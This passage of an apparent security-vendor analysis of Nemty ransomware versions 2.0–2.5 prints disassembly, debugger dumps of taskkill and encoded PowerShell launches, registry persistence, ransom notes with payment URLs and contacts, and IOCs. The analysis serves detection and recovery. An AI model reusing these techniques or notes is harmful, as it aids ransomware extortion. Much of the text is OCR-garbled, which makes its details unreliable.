.text:004081AB pop ecx

.text:a84881AC lea ec®, [ebp+var_9a]

-text: 08408182 push ecx

text:004081B3 noy ecx, eax

.text:004081B5 call sub_4@87A41

.text:A84081E0 pop ecx

-text:004081BB pop ecx

.text:004081BC push eax ; int
.text:084081ED lea eax, [ebp+lpRootPathHame]
.text:p040B1CH call sub_4B7A65

-text:a84081C5 cmp dword ptr [eax+14h], 18h
text:004081C9 pop eCcx

.text:084081CA pop ecx

.text:084081CE jb short loc_4B81CF
-text:a84081CD nov eax, [eax]

.text:004081CF

.text:004881CF loc_4B81CF: ; CODE XREF: sub_48808A5+1267T]j
-text:004081CF Xor BCX, BCX

.text:ae4881D1 push ecx ; nShowCmd
text:004081D2 push eCcx ; lphirectory
.text:084081D3 push eax ; lpParameters
-text:004881DY push offset File ; "cmd.exe'
-text: 08408109 push ecx ; lpoperation
text:084081DA push BCx ; hwnd
-text:004881DB call ShellExecuten

FIGURE 38. Resize of the shadow volumes in the target logic unit

The idea of this change was to remain more stealthy against endpoint security products, instead of just deleting the shadow copy and
executing queries through WMI, BCEDIT, etc. The author changed their approach to use vssadmin with the delete flag.

New Processes and Services to Kill

The Nemty authors added new processes to kill in order to facilitate file encryption:

Flow
node
Teams
QBW32
WBGX

In addition to new processes, the author also included new services:
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FakeNET Feature

For this version the Nemty authors decided to add one interesting feature. The ransomware in execution had implemented a function to

retrieve the victim’s public IP address. In the case that Nemty cannot connect with the external IP address, the ransomware will add fake data

in order to continue the encryption process. The fake data will be:

FIGURE 39. Nemty using fake IP address and country name information if it cannot connect to the URL to get a WAN IP

text:
.text:
.text:
text:
text:
.text:
.text:
text:
text:
.text:
.text:
text:
text:
.text:
.text:
text:
text:
.text:
.text:
text:
text:
.text:
.text:
text:
text:
.text:

00408C5Y
084088C59
804BBCSE
80408C63
004 08C68
08408C69
804 BBCHB
804 88C6D
004 08CT2
084088C73
8oL BBC78
80488C79
00408C7E
004 B8CEA
804B8CRS
804 08C86
00408CEB
88408C8C
804BBCBE
80488C93
004 08C98
08408C9A
804 B8C2A
804 88C2A
004 08C2A
06488CAB

_k_after_compare:
lea
call

sub_48577F

offset byte_4B4651

esi, offset dword_4B1F18
NemtyValtCompareStringBeetwentemory
ecx

al, al

short _k_after_compare

edi, offset at1_1_1_1 ; "1.1.1.1"

edi ; char =
_strlen

ecy

ecx, edi ; void =
NemtyHemcpyFunction

esi, offset aAustralia ; “Australia”
esi ; char =
_strlen

ecx

ecx, esi ; uoid =
esi, offset dword_481F34
NemtyHemcpyFunction

short _get_user_name_he

; CODE XREF: Suh_hBSB1D+hE1j
ebx, [ebp+pszString]
sub_4B8996

This feature implemented by Nemty will expose users in the protected countries as it will encrypt the system, even if the user belongs to one of
the countries specified in the static blacklist.

Version 2.0

In this version the developers decided to remove certain features and added a new encryption process:

o The FakeNet feature was deleted and Nemty only used the old mechanism to check the victim’s region.

« An initial function that prepares a container to use the RC4 algorithm with the name “rc4” and get a key based in the hardcoded string

(can change in other samples) “sosorin :)". This key is used to decrypt part of the ransom note and certain strings. It changes the use of
the authors’ own RC4 implementation to now use the RC4 algorithm with CryptoAPI.
* A new generation of RSA containers of keys, improving the key generation process.

¢ The ransom note text included “NEMTY REVENGE” instead of “NEMTY PROJECT” and also added the sentence: “Don’t trust anyone.

Even your dog”.

25/35



——> NEMTY REVENGE 2.0 <—-

Don't worry, some of your files have extension .NEMTY_5REKI3E and they are encrypted.
But you can return them!

In confirmatiom, that we have private decryption key,
We can provide test decryption for 1 file (png, jpg,bmp,gif).
It's a business, if we can't provide full decryption, other people won't trust us.

There is no way to decrypt your files without our help.
Don't trust anyone. Even your dog.

main mail: elzmflgxj@tutanota.de
if no answer: helpdesk_nemty@aol.com

Don't change decryption key below!!!

NEMTY DECRYPTION KEY:

FIGURE 40. Nemty ransomware note

Version 2.2

For this version, the Nemty developers only made two minor changes:

¢ Change of the mutex name
e A new ransom note:

———> NEMTY 2.2 REVENGE <---

some (or mayhe all) of your files got encryped.
we provide decryption tool 4f wou pay a ransom.

pon't worry, if we can't help you with decrypting - other people won't trust us.
we provide test decryption, as proof that we can decrypt your data.

vou have 3 month to pay (after wisiting the ransom page) until decryption key will be deleted from server.
After 3 month no one, even our service can't make decryptar.

13 web-Browser
a) Open wour browser.
b) open this Tink: http://nemty.top/public/pay.php
c) upload this file.
d) Follow the instructions.

27 Tor-Browser
a) bownload&Install Tor-Browser.
h) Open Tor-Erowser.
c) open this Tink : http:/rzjoxywimkacoikiptnZiprkivgiclow?2zmikyksttubzxprijnwapkad. onionpublic/pay. php
d) upload this file.
e) Follow the instruction.

FIGURE 41. Example of the new ransom note

Version 2.3

In this version, we found major changes compared with the prior version:

¢ A new mutex value

* The service used to get the public IP changed from https://api.ipify.org to https://www.myexternalip.com/raw
In case the lookup fails, the external address changes from NONE to NOT_DEFINED.

o The Windows OS check for XP was duped in prior versions and now only has one specific check.

« The configuration fields changed, certain fields were removed and new ones were added.
This is an example for the new configuration file:

“fileid”:"NEMTY_E1EIVPU”,
“configid”:"mArJi2x3q3yFrbvL8E YkKezDe GPgWeOG”,

“compid”:"{a3cande 1-f85f-1341-769f-806d6172f54544}”,
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“ip”"NONE”,

“country”:"{

¥ “errorCode”

“” “INVALID_ADDRESS” * "~

“ »

“

‘invalid addr”

“.

“version”

“r @USERPC” “” “username” “" “User” “” “os” “” “Windows XP" “" “or key” “”
BwWIAAACKAABSUOEYAAQAAAEAAQDATDOyFDwA4+kimmP2epZ/484E7PLyyZ5W10bSZSHWPirGeobWwqnoVTXLPbKVYXZ4qszCzO71hwFKck

“7 “drives” u._[{u “drive_type" “r “EIXED” “7 “drive_letter” R o “total_size” “’ 9GB “”

“drive_type" “» “NETWORK” *“” “drive_letter” o upTp

¢ The User-agent changed to a new one, “Naruto Uzumake”.

+ Concatenating a lot of taskkill commands through the use of “ShellExecuteA”; this version of Nemty kills a lot of new processes.

“total_size" “” 9GB n,n “USed_SiZe" “r 9GB

s

‘used_size” “:” 9GB

9

2.3 “” “computer_name”

88487034 |rCALL to ShellExecuted from _B03A0G00.00487D34 -
OO12FEBH| AO0AAAAA|| hind = HULL [
0012FEG4| 80414864 || Operation = "open”
G812FEBS| 08413B08 || FileHame = "cmd.exe”
B012FEBC | B8OBA5138 || Parameters = " fc taskkill /f /im sql.= & taskkill /f /im winword.= & taskkill /f /im wordpad.= & taskkill /f 7/
G812FE16| 080080808(| DefDir = NULL
0012FE14| @e0eeeea Lisshown = @
AA2FF1%| AARAAAAA
FIGURE 42. Killing processes with CMD
For this version, the authors added PowerShell executions using a command prompt with the function “ShellExecuteA” :
80487471 |rCALL to ShellExecuteA from _BB03A000. 004087 46F
G612FESH| 0000006008 || hi'nd = HULL
G012FES4| B80008008808|| Operation = NULL
G612FESS| BO4147508|| FileName = “powershell.exe"
B812FESC| BBBA4L498 || Parameters = * -e RuBl1AHQALQBXAGBAaQBPAGIAagBlAGHMAdAAgAFcAalBuADHAMgBFAFMAaABhAGOADWEBIAGHAbWBWAHKATABBAL B
G012FE9?8| 8000808808|| DefDir = NULL
G612FE?L| 00808008 LIsShown = 8
BO12FE98| 7C918228 | ntdll.7C918228
FIGURE 43. Launching a PowerShell command
This version added a new subkey in the registry key “Run” in the hive HKEY_CURRENT_USER with the name “daite drobovik:
Be4B6G27 8D45 FC lea eax, [ebp-4] BA12FEGB A
00486C20| 50 push eax 7C91065D n
88486628 56 push esi 80148608
00406C2C) 68 B6880280 | push 20006 7CAX1260 S
80486631 6 81 push 1 BA12FE3L
00486C33| 56 push esi 0012FESS
804863 56 push esi ST LT6])
60486C35 68 AASH100 push 80414504 ASCII “Software\Microsoft\Windows\CurrentUersion\Runy™ OOBB44FE
884B6C3A 68 61080888 push 88088081 BBROECSC
00406C3F|  FF15 18164108 | call [<&ADUAPI32 _RegCreateleyExA>] ADUAPI32 .RegCreateleyExn N
B04B6CUS 837D 1C 18 cmp dword ptr [ebp+1C], 18 ES 8823 3
00406049 BBAHS 68 nou eax, [ebp+8] CS 6618 3
BELBACAC| ., 73 63 jnb short BB4E6CS51 SS 8623 3
00406C4E|  BDAS 68 lea eax, [ebp+8] DS 6623 3
00486051 FF75 34 push dword ptr [ebp+34] FS 8638 3
00LOSCSL| 57 push edi £S 6808 H
00486055 6A 61 push 1
80486C57 56 push esi LastErr E
80486058 58 push eax
B0486C59 FF75 FC push dword ptr [ebp-4] LY §
FF15 201684108 | call [<&ADUAPI32.RegSetUalueExA>] ADUAPI32 .RegSetUalueExn 9165 6164
00406062 FF75 FC push duord ptr [ebp-4] 006C BO4F
60486065 FF15 18184188 | call [<&ADVAPI32.RegCloseey>] ADUAPI32.RegClosekey 0869 6047
804B6C6B 57 push edi Ba5F 886D
60486060 ES A9IBEABE | call 8046A81A 086F B85C
ds:[ 00411620]=77DDEAE7 (ADUAPI32_RegSetUalueExA) 0069 BO2E
8006 0600
8008 6088
BOBO4YFB | 43 3R 5C 44| 6F 63 75 6D|65 6E 74 73 28 61 6E 64| C:h\Documents and 80868198(| hKey = 198
DOBO4S 08|20 53 65 74 74 69 6E 67|73 5C 55 73 65 72 5C 44| SettingsilseriD 0012FE38| O012FEGR|| ValueMame - “daite drobouik™
BOBB4S18 | 65 73 6B 74| 6F 78 5C 36|31 39 36 38 32 38 31 35| esktop\619682015 B012FE3C| 080080866 (| Reserved = B
BOBO4528|31 36 36 3436 34 38 5C(5F 30 30 33 41 230 30 30| 1664640%_003A000 0612FE40| 00060061|| ValueType = REG_SZ
080804538 |38 5F 6FE 6F | 4F 56 4G 2E|6D 65 6D AB|AB AB AB AB| B noOUL .memcecxccee BO12FEL4Y| OBBBL4L4FS (| Buffer = DBBBLLFE

FIGURE 44. Creating persistence

The ransom note was again changed for this version:
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---> MEMTY 2,3 REVENGE <---

some Cor maybe all) of your files got encryped.
we provide decryprion tool if you pay a ransom.

Jon't worry, if we can't help you with decrypting - other people won't trust us.
we provide test decryption, as proof that we can decrypt your data.

You have 3 month to pay (after visiting the ransom page) until decryption key will be deleted from server.
after 3 month no one, even our service can't make decryptor.

1) web-Browser
a) open your browser.
b) open this Tink: hrtp://nemty. top/public/pay. php
<) upload this fila.
d) Follow the instructions.

2) Tor-Browser
a) bownload&Install Tor-Browser.
h) open Tor-Browser.
<) open this Tink_: http://zjoxywimkacojksprnziprkivgiclow?zmikykSttubzxpriinvapkad. onion/public/pay. php
d) upload thiz fila.
e) Follow the instruction.

<BEGIM NEMTY KEV3

+/1 SHSGQ7BHEKBCZgr 20001 5T dOUGrGX0T CODBZVAXWIZBAVKECMA yB] uGFhos,/k odL A2 0BBUAOBI4F JwiMI 3U0ULw sgLOBNVUHPT UOv cMTFTDLAPARhkw0x\DZLALk GNERXHTTTHESHimWHAPCI Lk fnyLs eno8ink 1 amchy>TfD70Rv 6+wyd3evDic
BRO/XKXFRITTLgP7 IRTyLS B+ XL 0a5Paexwt 2T SFty 2mon] Lo JGedcTXANT s Bprt zwindUwr 20K P welziFMc L +chid A/8YCoT nPoyghe8Mky,/Tr 8SgB1vau7 (KwDSI 7LC3Zr N2 DUSG /SPUaAWHSDITeBv1 D44 f /GxzKHODK7LRSsFGICPBS of ztwm7 g
FwwzsTefeIaTvoyApgLABT 3 3NK2euyekd ET ] gazrHk REK1GtPRZs 2holZ,/p gt BNFOgOwWaEK 1T233 706P0alh, 2k ICSKLIC+78Y KNGT4 A/3 SwwD 3 qamvel xCyyxr MEML T ¥ Mav ITACQRKEATECTtMYYBLLYF JbVZZ+0ThbgyKgBuM 1Zv+AcL ] S+mELL
EgovelL /ueB+]an7Gak,/Bjhrg311s8KaiahwhzmIbLVFL 7ZgaypHmvine 6 BhiMs HYnoDQNLGAC /FgT kv 12-+MwchwR aw01ZF4 0135 exhp2wICmAS FmFCEBK T Sgyr /W703nah2G8Zk+2d0MD, 8oy DpMUZF 3wT AVevt LNGK / ICEU2GLUVZO0RGOgC I6Ns Gxh
p020VERET xDafn,/KwdSz22 7F g3 pUQHVNhIPSE+W1ENFKEI Lz ZnEZUFEXTVX/QEVDuwuwtmyWEad/JNE/FzmohAxSOImawKOSeE+/EB+G6T3H489FG13;‘P2u?*ADHbRB+ykElquZW}/Y/\_/SQHZCUUyLWHXZXTSUSREN5RSRWSQDquJu/chbY‘IGyu9C
AMdhjk 2vABNTES YL UHYY RWICShGWRTHP § ] ATXwCoPS¥whi oVEQygHMDrMEBAONUTF3I T a2 =Pk IFU/ Tvad0ykyvDOuIR07MICKBSGMXF 6F SXFahBpU4 hpnzokFMOwaEr 2T Fdxs ur Eq8 T Fkxok+1517,/MOSEP3 ThIoeyxhz I 0UZUYOCEDaw==1F AR
HQQ5u5dvaaKJEG5uscRKRnLYl/SDcrmMUYTTEFhIqKTJcDoijwomh4+yEt0aT9k054K4sc2bkthzm‘IasteSvB F/Ztzctj/RodDGZu/qLEEE?uIerutEdXZKOQ7HFC5F’IQFKTM5+U"5Eom”k%WFDKYIEFBXRWNIWE{Fﬂ5372 mT+HNETF
cr1gowrtFjahauund Imdds elpp,/1grhORUGDONSZ2T s pI2vXOIwsRQUd/ON4QZGNOopBOANL H+BdOUNRMETDY] a8d6DaF sPek L /+Uzguaacydis2 SKESVYIHS(WUOKLAUTNGEST 053,/ 11 XY 2200 003URE xgbw IMwSui06gNkC 52820t 1MYGH/+2yZX U4 C
EtCZXr‘kADngQFEqu'iXyEFEH74VEEH>(ek12;LQ16wUHHb/FD3itmﬁlvcﬁBOEVRENSfAZGElSlllZRkr‘IKxJPmOZ MTICT B6FPY ] Cor Y AT 02 r OMaeHwWarP Oy c DM pALMCXO+TFmk Lrwy TExU4 h1n0 5rbaoDT 2hUNGL Hy NwHwy By WwNYNBF 25 eHL 6k »
ATWUZST et 81aI VOYADOLAST 33NK2 euyekd E1 ] gh2rHk REK 1T PRZs 2haliz /p gt SNTOGOWAER 1T 233 706P0aLh/ 2k ICSKL3C+ 78VKNGI4 A/ 3GqwWLD3 §omvel xQwkWI KOZF 7HN] LOF 3E3KFNELDMS VAWW 232851 0H 1T 100+4GK UTyYEPWDXGYpO4 2\
sEgOvelL/ueB+]at?Gak,/Ejhrg31Ts8katahwhzm 1bLyF17Zq0ypHmvineq68his HY NoDQMLOAC /FgTky 1 2+MwchwR aw01ZF40Q13 s exNp2wICmas 7mTCEBK T Sy 1 ThPHF S I MM7CUWYMiMRR 928+ EGpS60e3nDoUTLEZS KPGWH] r HMyL Zv I FHZHIR,/K1Zm
30p020VaRET xDEFn Kw0Sz2 7FG3pUGHYNHIPSE+w1ENFREThLZ znszurBx?vx/laevnuvrummywaadnNE/FzmohnstImawxosee+/EE+56T3H4Barcugpzu?w‘usg==hn+nvpar+DchzquvzJkgf;rkoarromzwwmmhgﬁranmlisu?hhagxq:
wvidhik 2nABN 7ES yLUHyYRwICShawrvwmhP ]  ATXwCoPSYwhi oVEQygHMDNMBAONUT3 It a2n*PdKk 1 IFU, Tva90ykwDOuIR07NICHESgMXF BF 5XFOhBpU4hpnZomztdav+y4v cOghly ] SE3ZC3k J0+ulerQxviifggUevhenyLOCPUZMpO TgariT4iu3Ige
1HQ95U5dvaaKJE65usCRKRmLYZL/SDCrmMUYTTEFhIqK?JcDOmIijR1h4+yEt0aTBk054K4sczbkthzniIastesvz F/Z0YDzCt] /ROUDGZU,/QLBEBZUIEIV, phI16p5 9303 PWRTLTHMpGxy Wl c2br j X7hHA3CA kSGX oWy 07 EMNw2RDITWZGD 15F
JorIQow?tF ] ahauund Tmdds elpP /I gkh9RUODONSZ2 T £ pI 29 IwvRQuUd,/0NdQzGNOoRB0ANIH+BdoUNRMBTDY ] a@déDdf sPek TL /A+uzgueaoydrs2 SKEQWVYIHSDWEkvZZaePk TGxZERMENTY 2wk SxLr s alrhperyssvohf iBs xIT+8552 ZCKUTMOWW
5EtCZxrkAEZEfoEgOk‘iXyEFEH74VEEHXek121Ql6WUnnb/Fp3"\tmGIV 1'BOEVRBstAzazlslllszrIKxJPmoquTmcteeFPﬂcur]‘AIE02rOerHWQEPOVCDdPOGwNChS/iJAZWG1IrnEKHedjvjNmpvxacym5OvaHOLSxAluzhlhuzum/BﬂTs
3B+ETSSh2fZDmP3 < SansaemNithqxthhvjiu/ﬁdevrSnvaZMygmozgpswcnzunqvpcwkbhhdnt8chth6QT4evaAq2ZyTFGg SwkrwOHrGhbEwwlFBDCKwoSPsaurxq3uxfcl /1 HMPadFe 1 uBk JFP7x1fQ8ds gRCEVWBEThUT BMHHUSG S pu
WG Twlp6T67FEERNZAIVQOCKIG0S dDF 1DBRYVET cOZIVDZEdTY Z1 2ICFagy2 UeH T BRESZ SmAa==

FIGURE 45. Example of the ransom note in version 2.3

Version 2.4

This version was a minor release like Nemty 2.2. In our analysis we only noted changes for the ransom note:

b-—> MEMTY 2.4 REVENGE <-—-

some Cor maybe all) of your files got encryped.
we provide decryption tool if you pay a ransom.

pon't worry, if we can't help you with decrypting - other people won't trust us.
we provide test decryption, as proof that we can decrypt your data.

vou have 3 month to pay (after wisiting the ransom page) until decryption key will be deleted from server.
after 3 month no one, even our service can't make decryptor.

13 weh-Browser
a) Cpen your browser.
b) Ccpen this Tink: http://nemty.top/public/pay. php
<) Upload this file.
d) Follow the instructions.

20 Tor-Browser
a) Download&Install Tor-Browser.
b) Cpen Tor-Browser.
c) open this Tink : http://zjoxywimkacolkiptn2iprkivgSclow?2mikyk Sttubzxprjinwapkad. onion/public/pay. php
d) upload this file.
2) Follow the instruction.

FIGURE 46. Example of the ransom note in version 2.4

Version 2.5
This is the last version of Nemty we discovered. This one represents a minor release and we only spotted two changes for this version:

A new mutex value
¢ A new ransom note:

—-=—=> NEMTY 2.5 REVENGE <---

some (or mayhe all) of your files got encryped.
we provide decryption tool if you pay a ranhsom.

pon't worry, if we can't help you with decrypting - other people won't trust us.
we provide test decryption, as proof that we can decrypt your data.

vou have 3 month to pay (after wisiting the ransom page) until decryption key will be deleted from serwver.
After 3 month no one, even our service <an't make decryptoar,

13 web-Browser
a) open wour browser.
b) open this Tink: http://nemty.top/public/pay.php
c) Upload this file.
d) Follow the instructions.

27 Tor-Browser
a) pownload&Install Tor-Browser.
h) Open Tor-Erowser.
<) open this Tink : http://zjoxywimkacoikiptnZiprkivgiclow?2mikyksttubzxprjnwapkad. onionpublic/pay. php
d) upload this file.
e) Follow the instruction.

FIGURE 47. Example of the ransom note in version 2.5
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Relationship between JSWORM and Nemty

Our Advanced Threat Research (ATR) team followed the activity of the user jsworm in the underground forums, and uncovered another piece
of their ransomware, called JSWORM ransomware. Below is an announcement they made on the same forum on which they presented
Nemty:

self is in C ++ usir g Win 32AP1
s XP (no flashing to the panel)

of a clean, uncovered build is 87kb.

For a contact in the LAN, indicating the amount of traffic and where it comes from.

Moderator comment:

The deposit was returned to TSU

FIGURE 48. JSWORM ransomware and Nemty announcement

We analyzed all the samples we had of JSWORM and Nemty and could not find any relationship in the code base between them, but it is clear
that both pieces of ransomware belong to the same moniker.

HASH FAMILY Compilation timestamp

0b33471bbd9fbbf08983eff34ee4ddc9  Nemty 2019-08-29 08:31:32

0e0b7b238a06a2a37a4de06a5ab5e615 Nemty 2019-08-19 04:34:25

27699778d2d27872f99ee491460485aa JSWORM  1992-06-19 22:22:17

31adc85947ddef5ce19c401d040aee82 JSWORM 2019-07-19 05:21:52

348¢3597c7d31c72ea723d5f7082ff87 Nemty 2019-08-25 11:58:28

37aababb18c9c1b8150dae4f1d31e97d Nemty 2019-08-20 19:13:54

4ca39c0aeb0daeb1be36173fa7c2a25e Nemty 2019-08-13 14:46:54

5126b88347c24245a9b141f76552064e  Nemty 2019-08-21 16:16:54

5cc1bf6122d38de907d558ec6851377c  Nemty 2019-08-21 14:27:55

74701302d6cb1e2f3874817ac499b84a JSWORM 2019-07-10 08:44:29

7def79329823f3c81a6d27d2c92460ef JSWORM 2019-07-09 18:54:23

dcec4fed3b60705eafdc5cbff4062375 Nemty 2019-08-21 19:25:16

de9e1a5fc0f0a29b97eb99542d1f297a JSWORM 2019-07-09 20:25:14

f270805668e8aecf13d27c09055bad5d  Nemty 2019-08-21 18:42:10

f796af497399¢256129f2ce61eb8855b  JSWORM 2019-07-19 05:24:00

fbf7bad64d564dbf42699c34b239b73a JSWORM 1992-06-19 22:22:17

0f3deda483df5e5f8043ea20297d243b  Nemty 2018-12-04 11:00:39

Some of the samples released contain custom packers so the compilation timestamp is not accurate for those cases.

Based on the data of the binaries we found, we can see how Nemty activity started some time after the JSWORM ramsomware disappeared.
This could indicate that the threat actor jsworm was developing both pieces of ransomware at the same time.

Free Decryptor Available Through No More Ransom
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One of the partners of NoMoreRansom was able to release a working version of a Nemty decryptor. If someone is affected by this
ransomware, it is possible to contact them through NoMoreRansom to get a decryptor.

Nemty Releases Customer Data Publicly

In our analysis of the Nemty ransomware, we spotted a new trend in how its authors managed the data of their victims.

In this instance, much like we have seen with other ransomware families like Maze, Nemty has its own website on which customer data is
publicly released.

(e8] X ]
@ Blog x e

< C @ Notsecure | xysog * 6

Download

Password: NEMTY

Image source: Bleeping Computer

Conclusion

Despite the number of RaaS families that appeared this year, Nemty represents another piece to observe and follow. Since we started to watch
the activities of this ransomware, the criminals behind it have released multiple new versions with bug fixes and improvements. Such activity
suggests that ransomware authors are feeling pressure from the great work done by security researchers and organizations, and in the case of
Nemty, even from the underground criminal community which itself was quick to criticize some of its functions and implementations.

Tesorion, now a partner in No More Ransom, released a working decryptor for Nemty and so we now expect that the author will change the
ransomware again to continue their activities. The last action we observed from this group was the website shown above, created to leak
customer data.

Mitre ATT&CK

The sample uses the following MITRE ATT&CK™ techniques:

Technique ID Technique Description

T1124 System Time Discovery
T1083 File and Directory Discovery
T1012 Query Registry

T1057 Process Discovery
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https://www.nomoreransom.org/
https://mdsassets.blob.core.windows.net/downloads/NemtyDecryptor.exe
https://www.nomoreransom.org/

T1047 Windows Management Instrumentation

T1035 Service Execution

T1215 Kernel Modules and Extensions

T1179 Hooking

T1112 Modify Registry

T1107 File Deletion

T1089 Disabling Security Tools

T1055 Process Injection

T1179 Hooking

T1055 Process Injection

T1132 Data Encoding
Coverage

Generic Trojan.si
GenericRXIS-SF!1348C3597C7D3
GenericRXIS-SF!37AABA6B18C9
GenericRXIS-SF!5CC1BF6122D3
GenericRXIU-0J!0B33471BBD9F
Ransom-Nemty!09F3B4E8D824
Ransom-Nemty!2FAA102585F5
Ransom-Nemty!65B07E2FD628
Ransom-Nemty!9D6722A4441B
RDN/GenDownloader.alr
RDN/Generic.fps
RDN/Generic.fqr

RDN/Generic.fry

RDN/Generic.ftv

RDN/Generic.fxs
RDN/Generic.fyy
RDN/Ransom.gg
RDN/Ransom.gn

Trojan-FRGK!484036EE8955

Indicators of Compromise

Hash

PE TimeStamp

64a1ce2faa2ab624afcbbbb6f43955e116b6c170d705677dba6c4818770903aa

1992:06:20 00:22:17+02:00

¢537¢695843ab87903a9dbc2b9466dfbe06e8e0dde0c4703chbacOfebeb79353a

1992:06:20 00:22:17+02:00

8e6f56fef6ef12a9a201cad3be2d0bcad4962b2745f087da34eaad4af0bd09b75f

1992:06:20 00:22:17+02:00

ca46814881f2d6698f64f31e8390fe155b9fd0d8f50b6ab304725a2251434aa7

2009:08:13 23:36:24+01:00
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5d04d789d66152e3fc0a2d84a53c3d7aa0f5d953c1a946619deeb699f3866e26

2017:01:02 12:16:24+01:00

a743d29eb16f9b4a59b2fd8c89e59053bdccce362f544fe82974e80d580c88f6

2018:03:27 07:09:32+02:00

5439452012a052851fdd0625abc4559302b9d4f4580e2ec98680e9947841d75d

2018:04:17 01:50:07+02:00

20d432c171ec17e7¢5105f032210a96ea726ffc52154b79ec43acd62d6e3f304

2018:06:09 22:43:06+02:00

9fad280bb034a4683be9ab4a35d2859e61dc796a6134436b4403c2cb9a9ebfea

2018:06:09 23:45:15+00:00

7c1aaccca9dd236b9271c734d987d0fccc3e91bfadcd45c5e1c7c41e61ffe3ca

2018:06:16 17:31:40+02:00

2f2aeb72dd127057fac1eeefdc0539fc3fa7bdff36d288bd7e20f2756194253d

2018:06:16 23:24:06+02:00

6b3fea34cb8bb5cc6d698e30933884e1fe55¢942d8768da85eb1¢c8085525bb41

2018:06:20 00:56:49+01:00

345380e840249081cba552af4ab28d7c65d4052f6e4bedd748b673b8853e6e96

2018:06:20 01:56:49+02:00

0f6e82387a5fe0f64d7cec15466b17a623aa8faaf9971df3c49ab65d49d1422e

2018:07:06 02:30:25+02:00

4b86f102eff21382c1a40a28bd4db19356e1efd323336bcec6645¢68592e754a

2018:07:07 17:59:57+01:00

b604a25ae4a668170bf28bfc885d0e137f4ff3a29eb7f772ba7098ecfb9bach3

2018:07:08 12:47:46+02:00

664b45ba61cf7e17012b22374c0c2a52a2e661e9c8c1¢c40982137¢910095179a

2018:07:14 02:09:27+01:00

536209365d143bf90a44f063eff9254639d7976b2f77edcc2alff6ac1e5a5464

2018:07:23 22:32:23+02:00

€29d154b067f298bab794d9f85ee7b3d58ebf17b56f6cff6601fb6ce48482f09

2018:08:01 20:19:32+02:00

c2a32b7094f4c171a56ca9da3005e7cc30489ae9d2020a6¢ccb53ff02b32e0be3

2018:08:06 17:50:00+02:00

5d58c85ba5bd7a4ca3d5ade7bff08942a12399f82defa370691524d8797a1095

2018:08:09 01:11:34+02:00

c8d44e8c91ed028626a8e2b3a526627790a2ac3e7078316172e35371fb984eee

2018:08:09 01:11:34+02:00

7eb2b5125f9fbcc2672c05031456b6a2432¢8921e9fa561bb7d7fa72010638b0

2018:08:22 21:17:21+01:00

06c1428e1a41¢c30b80a60b5b136d7cb4a8ffb2f4361919ef7f72a6babb223dd3

2018:08:22 22:17:21+02:00

66e55d3ffc0dcc4c8db135474ch8549072f8b1015742038f2ebb60d8c5dbd77¢

2018:08:24 01:21:20+02:00

7fab9295f28e9a6e746420cdf39a37fe2ae3a1c668e2b3ae08c9de2dedc10024

2018:08:27 18:49:08+02:00

bf3368254c8e62f17e610273e53df6f29cccc9c679245f55f9ee7dc41343¢c384

2018:08:28 00:50:58+02:00

eb98285ef506aa5b6d38bbd441db692b832f7ed1b9cb1dc4e2fec45369c8432a

2018:08:29 19:54:20+02:00

676224fb3ab782fc096351c2419ebd8f7df95a9180407f725c57e72d2bbec5b1

2018:08:29 20:05:56+02:00

9b5067d5e7f7fbf52b5069f5557d5b0cf45752a6b720f5a737b412600da8c845

2018:09:07 18:40:54+02:00

30832d5709f93b16a6972fca9159fbd886a4e9815ef0f029fade5ca663e9761e

2018:09:08 01:26:36+01:00

€5527d1bfc8b1448dcd698f23ac7142a066bb19b6109ef1c92df4d6214aa2d6a

2018:09:11 22:58:35+02:00

c09272b4a547aa5e675f9da4baf70670bd192b1dfd8dd33b52a42ee83f782cac

2018:09:30 18:36:38+02:00

aa36aa7425e9591531d5dad33b7e1de7ffbe980376fc39a7961133f5df8ab31a

2018:10:03 22:27:20+02:00

a54bca66aac95cb281d313375e38cd8058ace1e07c5176995531da241c50dbd6

2018:10:06 10:02:23+02:00

63ed68751000f7004bf951bc4a4c22799a94d28602f4022d901b6558ff93b46b

2018:10:09 22:04:03+02:00

fe639627cf827e72c30992c627fffd458f7afb86d5b87e811415b87¢c2276e59¢c

2018:10:12 20:11:41+02:00

74f8c39f3b0e4338eeaabad97¢9303139336be9ebe059501a78174570540eb9%e

2018:10:14 01:10:44+02:00

0a472cb6772f554afc9720064a0ba286ddc02250b9249cace39b3bdd77b5265¢

2018:10:20 16:38:09+02:00

0a0fb6e146bf8473b8931¢c3775529b2a0c8baf0db9afae7d3bb53f3d1da8c6eca

2018:10:21 23:30:07+02:00

0285a046ecaa82e685275ea53ae56134cb992991ef0d2ac5af3f5c15ebd136cc

2018:10:25 23:28:29+02:00

3d852ca618763ced2e280f0c0079e804935b70dcd4adc3912c2e2b3965e196¢c4

2018:11:03 16:59:21+01:00

4f3c6b42a2182b530f44d37fb82df8c2e1ca3858bfdd6d921aa363efe3e6e7bb

2018:11:03 16:59:21+01:00

3d9742b2ca3756645f88e885d1dadb2827a19f01ca6fb4a5170f2888cced35e1

2018:11:03 16:59:21+01:00
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a2f6¢c36¢cb8f46207028fbd3f3b69e306d3bdc4fc0391cfda5609812df880be07

2018:11:10 17:30:47+01:00

b3dbfbd64088691b4bf07b9001890bc60ff7f95fb44acdc20d95e8dd3c72c050

2018:11:11 00:53:46+01:00

5e4a090b75ca915fc42a149c7ddfbaldbe1a6846fe3b36249923549656¢31218

2018:11:25 19:51:19+01:00

a5590a987d125a8ca6629e33e3ff1f3eb7d5f41f62133025d3476e1a6e4c6130

2018:12:04 12:00:39+01:00

a7558decb9516122781243e791¢982977660152813817fb7ed00359365fcb0d3

2018:12:06 17:53:43+01:00

b2c11e6126a7de326e5fef14679279bf9fa920b7ba7142984d99790d89155b69

2018:12:06 17:53:43+01:00

4379f688682395f0ebcd70acd14c304a1074928198b4d0bebb5362d56328f76e

2018:12:06 21:13:33+01:00

8dca973cccf5073a9f53f055fa275215520ba67416b5d206c673df533532efe5

2018:12:07 01:04:23+01:00

9913afe01dc4094bd3c5ff90ca27cc9e9ef7d77b6a7bdbf5f3042a8251b96325

2018:12:10 19:04:48+01:00

17864c4e21cOebaf30ccal1f35d67f46d3c3c33a5b8ea87d4c331e9d86d805965

2018:12:15 23:24:41+01:00

36bd705f58c11¢22529a9299d8c0c1a33cf94fb9b7cce0a39a79e4d8f523308d

2018:12:16 21:12:50+01:00

1b18d04d4ca37ecc25bd8d4f229121¢c89a57c80615d40ff94868f380cdfaed7c

2018:12:24 21:33:38+01:00

b0bd94cf4f409bb5ba2661d875e0488e59492c95a539508172e2670d74feblea

2018:12:27 21:42:57+01:00

b9ff00a4b426742892e21601a68b19ffa44668f3274ec250e60843c3224b6b42

2018:12:30 01:14:36+01:00

